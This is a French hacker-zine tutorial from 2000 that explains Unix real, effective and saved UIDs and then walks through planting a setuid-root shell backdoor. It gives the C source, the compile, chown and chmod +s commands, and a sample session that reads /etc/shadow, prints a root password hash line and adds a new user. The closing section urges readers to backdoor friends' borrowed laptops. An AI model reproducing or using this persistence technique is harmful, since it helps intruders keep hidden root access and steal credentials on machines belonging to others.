Backdoors "faciles" (1/..)
hihihi (15/09/2K)
Set-UID root
Cinac





      _________
_____/  INTRO  \_________________________________________________
 

Sous *NIX chaque utilisateur a un UID (User IDent) qui le definit et limite ses possibilités d'interaction avec le système. Par exemple certaines commandes sont reservées au root (UID=0), et un utilisateur de base ne peut pas les effectuer (ex: $cat /etc/shadow).

Il en est de même pour les processus (pour ne pas dire programmes) car rappelez vous, quand vous avez un shell c'est parce qu'un processus bash (ou ksh...) tourne. Et bien sûr il a l'UID de l'utilisateur car il serait dangereux que le processus d'un utilisateur possède plus de droits que l'utilisateur lui même. Imaginez un processus ayant les mêmes droits que le root mais lançable par un utilisateur de base (ex: UID=500), ce serait sacrément dangereux. C'est là que le Set-UID entre en jeu mais nous y reviendrons plus tard.

Pour voir quel processus tourne et quel UID il a il suffit de faire un "#ps -aux". Et si vous voulez voir a quelles barrieres vous etes confronté quand vous n'avez pas assez de droits pour executer une commande, essayez de faire un "$cat /etc/shadow | more".

Chaque processus a trois identifiants utilisateurs:
 - UID réel (UID-R mais on va l'appeler UID tout simplement)
 - UID effectif (UID-E)
 - UID sauvegardé (UID-S)

Ces trois identifiants différents n'ont lieu d'être, vous vous en doutez, que si un processus peut changer d'état. En gros, que s'il peut passer par exemple d'un UID=0 a un UID=500 et ensuite pourquoi pas a un UID=0. Mais pourquoi un programme voudrait changer d'UID? Bien il y a plusieurs raisons à cela et dont une dont vous devez vous douter:
* augmenter l'UID:
   - pour accèder à des fichiers reservés au root ;)
   - pour utiliser des perifériques
   - ....
* baisser son UID:
   - Eviter qu'avec des h/b/s overflow sur des démons que l'attaquant deviennent root
   - Charger des préférences utilisateurs (de l'user ayant l'UID que le processus reprend)
   - ....

Mais bien sûr n'importe quel programme ne peut pas s'augmenter son UID-R comme il veut, ce serait trop simple pour d'éventuels attaquants et serait à chier niveau sécurité. C'est pourquoi la valeur de votre UID-R ne peut etre inferieure à votre UID-S. L'UID-R et l'UID-E pouvant changer assez facilement par des appels à setuid(), à seteuid() ou à setreuid() en C sous Linux (ou BSD pour les deux derniers seulement).
 
 

      _______________________
_____/ DANS LE VIF DU SUJET: \____________________________________
 

Revenons en au Set-UID. Cette commande permet a un processus ayant n'importe quel UID de lancer un processus Set-UID quel que soit l'UID de celui ci. En gros un programme Set-UID peut être lancé par n'importe qui ayant les droits en exécution sur celui ci mais ce programme aura L'UID de son créateur et non de la personne l'ayant lancé.

Notre interet ici va donc être de passer d'utilisateur de base a root en executant un programme. Mais comme je viens de l'expliquer, le processus Set-UID a l'UID de son créateur donc pour que cela puisse être interressant il faudra qu'à un moment ou à un autre vous passiez root par un autre moyen que celui ci. C'est pour cela que le Set-UID n'est utile ici que pour backdoorer. Pour rendre un processus Set-UID il faut juste changer ses droits ("chmod +s").

Passons à la pratique:
 * mise en place de la backdoor:

     #vi backdoor.c
      #include <stdio.h>
      main()
      {
        system("/bin/sh"); /*on utilise system() car il ne rend pas la main comme execve()*/
        return(0);
      }
     :wq!
     #cc backdoor.c -o backdoor
     #chown root.root backdoor
     #chmod +s backdoor

 * Utilisation de la backdoor:

     $./backdoor
     bash#

 * Enjoy: ;)
     $more -1 /etc/shadow
     more: /etc/shadow: Permission non accordée
     $./backdoor
     bash# more -1 /etc/shadow
     root:$1$RZbThu6R$C3jvRUifrD5Dxihov20.Iu:11174:0:99999:7:-1:-1:134549460
     q
     bash# adduser backdoor
     bash# passwd backdoor rootme
     bash# exit
     $
 
 

      _______________
_____/  CONCLUSION:  \____________________________________________
 

Voila vous êtes root. Le "bash#" indiquant que vous avez le "même" shell que le root et bien sûr les mêmes droits. Je ne vais pas vous expliquer l'intérêt de faire des backdoors mais s'il y a bien quelque chose de fun c'est de backdoorer les machines des potes quand par exemple ils vous pretent leur portable pour une semaine :) et qu'il prennent six mois à la rendre à nouveau sain (ah? Vous vous reinstalleriez? hihihi Enjoy :)
 
 

Coding Is Not A Crime